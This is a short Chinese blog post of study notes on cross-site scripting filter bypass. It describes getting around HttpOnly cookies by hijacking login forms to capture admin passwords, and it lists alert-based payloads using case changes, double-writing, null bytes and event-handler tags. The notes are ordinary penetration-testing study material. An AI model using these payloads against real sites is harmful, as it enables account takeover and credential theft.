XSS绕过

httponly

如果在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击 ,只是无法获取Cookie信息,xss脚本还是会执行。

 

原理是 Cookie都是通过document对象获取的,那HttpOnly就是在设置cookie时接受这样一个参数,在浏览器的document对象中就看不到cookie了。Cookie会被放在浏览器头中发送出去(包括Ajax的时候),对于一些敏感的Cookie我们采用HttpOnly,对于一些需要在应用程序中用JS操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。

 

我们实现xss的目的是为了获取用户的信息来登录管理员后台 ,而登录后台一般需要Cookie或者账号密码,在设置httponly后获取不了Cookie,我们从账号密码入手。

密码未保存时

在登录界面插入xss表单劫持,把账号密码获取到xss平台

密码保存时

在后台界面插入xss获取浏览器存储的用户账号密码数据

代码过滤

自身标签绕过

<script>alert('xss')</script> //没有过滤

<Script>alert('xss')</Script> //大小写绕过

<scscriptript>alert('xss')</scscriptript> //双写绕过

<sc\x00ript>alert('xss')</sc\x00ript> //空字节绕过

" oonnclick=alert('XSS') // //闭合绕过(对于html实体输入的和过滤< >)

其他标签绕过

<a herf="javascript:alert(1)">show</a> //链接标签

<body onload=alert(1)> //文档加载完成后

<input type=image src=x:x onerror=alert(1)> //图片等媒体加载失败后

<form oninput=alert(1)><input></form> //表单输入

<textarea autofocus onfocus=alert(1)> // 自动获得焦点的文本区域

<input oncut=alert(1)> //用户剪切元素内容时

总而言之就是html标签的各种DOM事件后面可以添加js脚本,从而可以插入xss

DOM事件

编码绕过

BASE64,Unicode编码,url编码,ascii码,hex,2,8,16进制

接收参数绕过

http头部 eferer User-Agent

 

WAF拦截

posted @ 2022-04-16 19:05  Maple、、、  阅读(104)  评论(0)    收藏  举报